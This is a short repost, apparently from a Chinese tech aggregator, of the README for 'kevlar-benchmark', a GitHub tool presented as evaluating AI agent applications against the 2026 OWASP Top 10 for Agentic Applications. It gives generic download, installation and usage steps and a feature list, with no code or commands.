Kevlar Benchmark:面向 AI 智能体的 OWASP Top 10 安全评测工具
samsaeed22/kevlar-benchmark
GitHub 项目 kevlar-benchmark 发布,用于按 2026 年 OWASP Top 10 for Agentic Applications 对 AI 智能体应用做安全评测。
🚀 kevlar-benchmark - Simplify Your Cybersecurity Testing
📥 Download Now
📝 Introduction
Welcome to the Kevlar Benchmark project! This tool helps users run evaluations based on the OWASP Top 10 for Agentic Applications (AI-Agents) in 2026. It provides a simple way to assess the security of AI-driven apps and gather insights that can strengthen your defenses.
📦 Installation
Follow these steps to download and install Kevlar Benchmark:
- Visit the Releases page to get the latest version: Download Page.
- On the Releases page, find the most recent version.
- Click the download link that suits your system (look for .exe or .zip files).
- Once downloaded, locate the file in your downloads folder.
- Double-click on the file to start the installation process.
- Follow the installation prompts to complete the setup.
🚀 Getting Started
After installation, you can start using Kevlar Benchmark to evaluate your applications quickly:
- Open the application from your programs menu.
- Choose the tests you want to run based on your specific needs.
- Click the 'Start Test' button to begin your assessment.
- Review the results and recommendations provided by the tool.
📊 Features
Kevlar Benchmark includes several important features:
- User-Friendly Interface: Designed for all skill levels, ensuring that even non-technical users can navigate easily.
- Comprehensive Testing: Tests cover the OWASP Top 10 threats, providing clear insights.
- Detailed Reporting: Receive easy-to-understand reports that outline vulnerabilities and suggested fixes.
- Educational Resources: Access helpful guides and resources to improve your cybersecurity knowledge.
- Regular Updates: Stay secure with frequent updates that enhance functionalities and address new threats.
🎯 System Requirements
To ensure optimal performance, please check the following system requirements:
- Operating System: Windows 10 or later, macOS 10.14 or later, or a compatible Linux distribution.
- RAM: At least 4 GB of RAM.
- Disk Space: A minimum of 500 MB available disk space for installation.
- Processor: Dual-core processor or better.
👩🏫 How to Use
Using Kevlar Benchmark is straightforward:
- Select an Application for Testing: Choose the AI application you wish to evaluate for security.
- Set Test Parameters: Customize your tests based on your project's needs or use the recommended settings.
- Run the Test: Start the evaluation. The application will analyze and report any vulnerabilities.
- Review Outcomes: Look at the test results, which highlight any security issues and how to remedy them.
📖 Support & Resources
- Documentation: Access the complete user manual within the application or online to guide you through advanced features.
- Community Support: Join discussions or seek help on the project's GitHub Issues page.
- Feedback: We welcome your suggestions to improve the application. Feel free to reach out!
🔗 Additional Links
- GitHub Repository: kevlar-benchmark
- Releases Page: Download Page
🤝 Contributing
Your contributions help us improve. If you wish to support the project, visit our contributing guidelines on the GitHub repository.
🏁 Conclusion
Kevlar Benchmark is your go-to tool for assessing cybersecurity aspects of AI applications. By following the steps above, you can quickly download, install, and begin using this essential application to safeguard your digital assets.
来源:GitHub · github.com